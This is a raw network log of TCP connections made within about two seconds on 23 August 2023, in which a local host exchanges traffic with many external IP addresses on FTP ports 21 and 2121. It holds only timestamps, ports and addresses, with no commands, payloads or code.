Aug 23, 2023 09:16:51.198255062 CEST	21	52676	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:51.198329926 CEST	52676	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:51.233213902 CEST	21	52674	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:51.233525038 CEST	52674	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:51.246120930 CEST	2121	52675	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:51.246546984 CEST	52675	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:51.264561892 CEST	21	52633	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:51.264601946 CEST	21	52633	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:51.264635086 CEST	21	52633	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:51.264753103 CEST	52633	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:51.266323090 CEST	52633	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:51.270605087 CEST	52677	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:51.279572010 CEST	2121	52675	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:51.279632092 CEST	2121	52675	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:51.280086040 CEST	52675	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:51.312947989 CEST	2121	52675	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:51.313572884 CEST	52675	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:51.340831041 CEST	2121	52656	220.90.0.82	192.168.2.3
Aug 23, 2023 09:16:51.341825008 CEST	21	52655	220.90.0.82	192.168.2.3
Aug 23, 2023 09:16:51.343811035 CEST	2121	52675	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:51.344149113 CEST	52675	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:51.344223976 CEST	2121	52675	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:51.344307899 CEST	52675	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:51.345166922 CEST	52678	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:51.367094994 CEST	52601	21	192.168.2.3	81.230.67.1
Aug 23, 2023 09:16:51.373992920 CEST	2121	52675	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:51.375876904 CEST	2121	52678	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:51.375961065 CEST	52678	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:51.382667065 CEST	52605	2121	192.168.2.3	211.55.102.77
Aug 23, 2023 09:16:51.390491962 CEST	21	52676	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:51.390927076 CEST	52676	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:51.398330927 CEST	52606	2121	192.168.2.3	85.247.100.163
Aug 23, 2023 09:16:51.403795958 CEST	21	52601	81.230.67.1	192.168.2.3
Aug 23, 2023 09:16:51.404128075 CEST	21	52672	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:51.404742002 CEST	21	52674	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:51.406034946 CEST	21	52674	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:51.406411886 CEST	52674	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:51.407056093 CEST	21	52676	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:51.407414913 CEST	21	52676	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:51.407788038 CEST	52676	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:51.424000978 CEST	21	52676	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:51.431221008 CEST	52607	21	192.168.2.3	82.77.122.109
Aug 23, 2023 09:16:51.435033083 CEST	21	52633	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:51.438455105 CEST	21	52677	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:51.438544989 CEST	52677	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:51.445188999 CEST	52608	2121	192.168.2.3	82.77.122.109
Aug 23, 2023 09:16:51.445214033 CEST	52602	21	192.168.2.3	211.55.102.77
Aug 23, 2023 09:16:51.445214033 CEST	52604	21	192.168.2.3	85.247.100.163
Aug 23, 2023 09:16:51.445373058 CEST	52603	2121	192.168.2.3	81.230.67.1
Aug 23, 2023 09:16:51.484061956 CEST	2121	52603	81.230.67.1	192.168.2.3
Aug 23, 2023 09:16:51.502891064 CEST	21	52676	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:51.503532887 CEST	52676	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:51.519731045 CEST	21	52676	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:51.519753933 CEST	21	52676	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:51.519805908 CEST	21	52676	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:51.519866943 CEST	52676	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:51.520133972 CEST	52676	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:51.521260977 CEST	52679	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:51.538064957 CEST	21	52676	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:51.539196968 CEST	21	52679	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:51.539278984 CEST	52679	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:51.575634956 CEST	2121	52678	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:51.576054096 CEST	52678	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:51.580235958 CEST	21	52674	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:51.580890894 CEST	52674	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:51.605077028 CEST	2121	52678	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:51.606169939 CEST	2121	52678	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:51.606585979 CEST	52678	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:51.632731915 CEST	52609	21	192.168.2.3	20.166.152.137
Aug 23, 2023 09:16:51.638139963 CEST	2121	52678	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:51.638577938 CEST	52678	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:51.640042067 CEST	21	52677	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:51.640431881 CEST	52677	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:51.640512943 CEST	2121	52605	211.55.102.77	192.168.2.3
Aug 23, 2023 09:16:51.668203115 CEST	2121	52678	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:51.668482065 CEST	52678	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:51.668704033 CEST	2121	52678	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:51.668787003 CEST	52678	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:51.669487000 CEST	52680	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:51.679588079 CEST	52611	21	192.168.2.3	184.88.230.248
Aug 23, 2023 09:16:51.695218086 CEST	52616	2121	192.168.2.3	100.36.106.240
Aug 23, 2023 09:16:51.696749926 CEST	52681	2121	192.168.2.3	38.152.52.22
Aug 23, 2023 09:16:51.696825981 CEST	52682	21	192.168.2.3	73.197.37.107
Aug 23, 2023 09:16:51.698400021 CEST	2121	52678	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:51.701961040 CEST	21	52602	211.55.102.77	192.168.2.3
Aug 23, 2023 09:16:51.702655077 CEST	2121	52680	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:51.702759981 CEST	52680	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:51.710923910 CEST	52615	21	192.168.2.3	100.36.106.240
Aug 23, 2023 09:16:51.712730885 CEST	52683	2121	192.168.2.3	73.197.37.107
Aug 23, 2023 09:16:51.714250088 CEST	52684	21	192.168.2.3	93.84.158.203
Aug 23, 2023 09:16:51.715580940 CEST	52685	2121	192.168.2.3	93.84.158.203
Aug 23, 2023 09:16:51.716424942 CEST	52686	21	192.168.2.3	70.118.175.173
Aug 23, 2023 09:16:51.717860937 CEST	52687	2121	192.168.2.3	70.118.175.173
Aug 23, 2023 09:16:51.718137026 CEST	52688	21	192.168.2.3	20.119.37.93
Aug 23, 2023 09:16:51.736895084 CEST	21	52679	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:51.737247944 CEST	52679	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:51.742089987 CEST	52610	2121	192.168.2.3	20.166.152.137
Aug 23, 2023 09:16:51.742095947 CEST	52617	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:51.742109060 CEST	52612	2121	192.168.2.3	184.88.230.248
Aug 23, 2023 09:16:51.742109060 CEST	52613	21	192.168.2.3	188.93.151.64
Aug 23, 2023 09:16:51.742110014 CEST	52614	2121	192.168.2.3	188.93.151.64
Aug 23, 2023 09:16:51.752449036 CEST	21	52674	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:51.752495050 CEST	21	52674	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:51.752563000 CEST	52674	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:51.752830982 CEST	52674	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:51.754069090 CEST	21	52679	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:51.754106045 CEST	52689	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:51.754530907 CEST	21	52679	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:51.754810095 CEST	52679	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:51.757838964 CEST	21	52617	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:51.757957935 CEST	52617	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:51.767502069 CEST	2121	52614	188.93.151.64	192.168.2.3
Aug 23, 2023 09:16:51.767605066 CEST	52614	2121	192.168.2.3	188.93.151.64
Aug 23, 2023 09:16:51.767626047 CEST	21	52613	188.93.151.64	192.168.2.3
Aug 23, 2023 09:16:51.767688036 CEST	52613	21	192.168.2.3	188.93.151.64
Aug 23, 2023 09:16:51.770987988 CEST	21	52679	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:51.810844898 CEST	21	52617	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:51.811301947 CEST	52617	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:51.820281982 CEST	21	52677	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:51.820476055 CEST	21	52677	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:51.820836067 CEST	52677	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:51.826657057 CEST	21	52617	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:51.827064991 CEST	21	52617	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:51.827756882 CEST	52617	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:51.844300032 CEST	21	52617	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:51.844942093 CEST	52617	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:51.846216917 CEST	21	52679	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:51.846473932 CEST	52679	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:51.851511955 CEST	52656	2121	192.168.2.3	220.90.0.82
Aug 23, 2023 09:16:51.851560116 CEST	52655	21	192.168.2.3	220.90.0.82
Aug 23, 2023 09:16:51.862720966 CEST	21	52679	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:51.862763882 CEST	21	52679	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:51.862801075 CEST	21	52679	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:51.862855911 CEST	52679	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:51.863044024 CEST	52679	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:51.864556074 CEST	52690	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:51.871433020 CEST	21	52617	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:51.871727943 CEST	52617	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:51.873191118 CEST	21	52617	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:51.873220921 CEST	52691	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:51.873290062 CEST	52617	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:51.879306078 CEST	21	52679	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:51.880979061 CEST	21	52690	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:51.881083012 CEST	52690	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:51.887763023 CEST	21	52617	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:51.889240026 CEST	21	52691	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:51.889341116 CEST	52691	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:51.905103922 CEST	2121	52680	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:51.905921936 CEST	52680	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:51.913974047 CEST	52601	21	192.168.2.3	81.230.67.1
Aug 23, 2023 09:16:51.923995972 CEST	21	52674	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:51.925452948 CEST	21	52689	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:51.925525904 CEST	52689	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:51.938138962 CEST	2121	52680	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:51.939661026 CEST	2121	52680	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:51.940093040 CEST	52680	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:51.945107937 CEST	21	52691	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:51.945600033 CEST	52691	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:51.960905075 CEST	21	52691	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:51.961349964 CEST	21	52691	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:51.961718082 CEST	52691	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:51.975341082 CEST	2121	52680	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:51.976210117 CEST	52680	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:51.979507923 CEST	21	52691	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:51.979821920 CEST	52691	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:51.995935917 CEST	21	52691	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:51.996190071 CEST	52691	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:51.996931076 CEST	52692	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:51.996938944 CEST	21	52691	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:51.997003078 CEST	52691	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:52.009526014 CEST	2121	52680	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:52.009975910 CEST	52680	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:52.009994030 CEST	2121	52680	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:52.010071039 CEST	52680	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:52.011579037 CEST	21	52691	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:52.011919022 CEST	52693	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:52.012428999 CEST	21	52692	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:52.012540102 CEST	52692	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:52.040433884 CEST	52694	2121	192.168.2.3	20.119.37.93
Aug 23, 2023 09:16:52.041207075 CEST	2121	52693	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:52.041299105 CEST	52693	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:52.041435003 CEST	52695	21	192.168.2.3	20.65.89.166
Aug 23, 2023 09:16:52.042151928 CEST	2121	52680	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:52.042278051 CEST	52696	2121	192.168.2.3	20.65.89.166
Aug 23, 2023 09:16:52.052114964 CEST	21	52692	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:52.052623034 CEST	52692	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:52.064819098 CEST	21	52677	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:52.068341017 CEST	21	52692	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:52.068645000 CEST	21	52692	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:52.069039106 CEST	52692	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:52.085447073 CEST	21	52692	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:52.086153030 CEST	52692	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:52.086581945 CEST	21	52690	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:52.094345093 CEST	52690	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:52.102022886 CEST	21	52689	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:52.102051020 CEST	21	52692	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:52.102344990 CEST	52689	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:52.102346897 CEST	52692	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:52.103317976 CEST	21	52692	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:52.103370905 CEST	52692	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:52.103779078 CEST	52697	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:52.106677055 CEST	2121	52656	220.90.0.82	192.168.2.3
Aug 23, 2023 09:16:52.107656002 CEST	52698	21	192.168.2.3	104.193.152.142
Aug 23, 2023 09:16:52.108186960 CEST	21	52655	220.90.0.82	192.168.2.3
Aug 23, 2023 09:16:52.109124899 CEST	52699	2121	192.168.2.3	104.193.152.142
Aug 23, 2023 09:16:52.110491037 CEST	21	52690	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:52.110807896 CEST	21	52690	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:52.111088037 CEST	52690	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:52.117202997 CEST	52621	21	192.168.2.3	102.39.107.66
Aug 23, 2023 09:16:52.117270947 CEST	52622	2121	192.168.2.3	102.39.107.66
Aug 23, 2023 09:16:52.118021011 CEST	21	52692	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:52.119357109 CEST	21	52697	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:52.119446039 CEST	52697	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:52.127304077 CEST	21	52690	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:52.132797003 CEST	52603	2121	192.168.2.3	81.230.67.1
Aug 23, 2023 09:16:52.132883072 CEST	52623	21	192.168.2.3	46.159.211.118
Aug 23, 2023 09:16:52.148391008 CEST	52605	2121	192.168.2.3	211.55.102.77
Aug 23, 2023 09:16:52.160207987 CEST	21	52697	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:52.160681009 CEST	52697	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:52.176317930 CEST	21	52697	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:52.176665068 CEST	21	52697	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:52.176965952 CEST	52697	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:52.187161922 CEST	21	52690	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:52.187583923 CEST	52690	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:52.193676949 CEST	21	52697	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:52.194010973 CEST	52697	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:52.203802109 CEST	21	52690	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:52.203841925 CEST	21	52690	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:52.203876019 CEST	21	52690	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:52.204032898 CEST	52690	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:52.204165936 CEST	52690	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:52.205008030 CEST	52700	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:52.209728003 CEST	21	52697	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:52.209992886 CEST	52697	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:52.210295916 CEST	21	52697	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:52.210613966 CEST	52697	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:52.210987091 CEST	52625	21	192.168.2.3	108.183.151.157
Aug 23, 2023 09:16:52.211124897 CEST	52701	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:52.220393896 CEST	21	52690	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:52.221314907 CEST	21	52700	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:52.221489906 CEST	52700	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:52.225629091 CEST	21	52697	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:52.226872921 CEST	21	52701	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:52.230331898 CEST	52701	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:52.242225885 CEST	52626	2121	192.168.2.3	108.183.151.157
Aug 23, 2023 09:16:52.242367983 CEST	52627	21	192.168.2.3	91.69.228.39
Aug 23, 2023 09:16:52.242368937 CEST	52624	2121	192.168.2.3	46.159.211.118
Aug 23, 2023 09:16:52.242400885 CEST	52629	21	192.168.2.3	179.199.236.164
Aug 23, 2023 09:16:52.242402077 CEST	52602	21	192.168.2.3	211.55.102.77
Aug 23, 2023 09:16:52.243690014 CEST	2121	52693	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:52.244225979 CEST	52693	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:52.256584883 CEST	21	52698	104.193.152.142	192.168.2.3
Aug 23, 2023 09:16:52.258225918 CEST	52631	2121	192.168.2.3	179.199.236.164
Aug 23, 2023 09:16:52.258728981 CEST	2121	52699	104.193.152.142	192.168.2.3
Aug 23, 2023 09:16:52.269504070 CEST	21	52701	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:52.270534992 CEST	52701	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:52.273700953 CEST	21	52689	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:52.273716927 CEST	2121	52693	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:52.274947882 CEST	21	52689	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:52.274962902 CEST	2121	52693	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:52.275343895 CEST	52689	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:52.278147936 CEST	52693	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:52.286681890 CEST	21	52701	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:52.286708117 CEST	21	52701	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:52.287137985 CEST	52701	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:52.303539038 CEST	21	52701	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:52.306503057 CEST	52701	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:52.306586981 CEST	52702	21	192.168.2.3	73.200.136.177
Aug 23, 2023 09:16:52.306785107 CEST	52704	21	192.168.2.3	67.191.38.117
Aug 23, 2023 09:16:52.306787968 CEST	52703	2121	192.168.2.3	73.200.136.177
Aug 23, 2023 09:16:52.310386896 CEST	2121	52693	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:52.310817003 CEST	52693	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:52.320316076 CEST	52634	21	192.168.2.3	98.24.43.186
Aug 23, 2023 09:16:52.320322037 CEST	52635	2121	192.168.2.3	98.24.43.186
Aug 23, 2023 09:16:52.322439909 CEST	21	52701	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:52.323506117 CEST	52701	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:52.323507071 CEST	52705	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:52.324083090 CEST	21	52701	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:52.324640036 CEST	52701	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:52.339606047 CEST	21	52701	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:52.339637995 CEST	21	52705	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:52.339931965 CEST	52705	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:52.340897083 CEST	2121	52693	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:52.340922117 CEST	2121	52693	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:52.341840982 CEST	52693	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:52.342164040 CEST	52693	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:52.344496012 CEST	52706	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:52.371311903 CEST	2121	52693	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:52.373743057 CEST	2121	52706	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:52.374017000 CEST	52706	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:52.398178101 CEST	21	52705	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:52.399286985 CEST	52705	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:52.405225992 CEST	21	52672	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:52.405879974 CEST	52672	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:52.407577991 CEST	2121	52605	211.55.102.77	192.168.2.3
Aug 23, 2023 09:16:52.412166119 CEST	52707	2121	192.168.2.3	67.191.38.117
Aug 23, 2023 09:16:52.415508986 CEST	21	52705	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:52.415539980 CEST	21	52705	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:52.418931007 CEST	52705	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:52.434210062 CEST	21	52700	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:52.435556889 CEST	21	52705	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:52.436358929 CEST	52700	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:52.438941956 CEST	52705	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:52.445339918 CEST	52628	2121	192.168.2.3	91.69.228.39
Aug 23, 2023 09:16:52.445662975 CEST	52636	21	192.168.2.3	61.3.129.7
Aug 23, 2023 09:16:52.445663929 CEST	52637	2121	192.168.2.3	61.3.129.7
Aug 23, 2023 09:16:52.446841002 CEST	52708	21	192.168.2.3	182.182.1.24
Aug 23, 2023 09:16:52.447268963 CEST	21	52689	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:52.448108912 CEST	52689	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:52.452666044 CEST	21	52700	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:52.454191923 CEST	21	52700	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:52.454993010 CEST	52700	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:52.455528021 CEST	21	52705	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:52.455996990 CEST	52705	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:52.456530094 CEST	21	52705	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:52.459490061 CEST	52709	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:52.459510088 CEST	52705	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:52.471539021 CEST	21	52700	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:52.472604990 CEST	21	52705	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:52.475559950 CEST	21	52709	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:52.476038933 CEST	52709	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:52.501910925 CEST	21	52602	211.55.102.77	192.168.2.3
Aug 23, 2023 09:16:52.502960920 CEST	52710	2121	192.168.2.3	182.182.1.24
Aug 23, 2023 09:16:52.519602060 CEST	21	52709	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:52.525254011 CEST	52709	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:52.542320013 CEST	21	52709	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:52.542351007 CEST	21	52709	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:52.545042992 CEST	52709	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:52.545804977 CEST	2121	52706	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:52.547533989 CEST	21	52700	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:52.549011946 CEST	52700	21	192.168.2.3	46.251.235.80
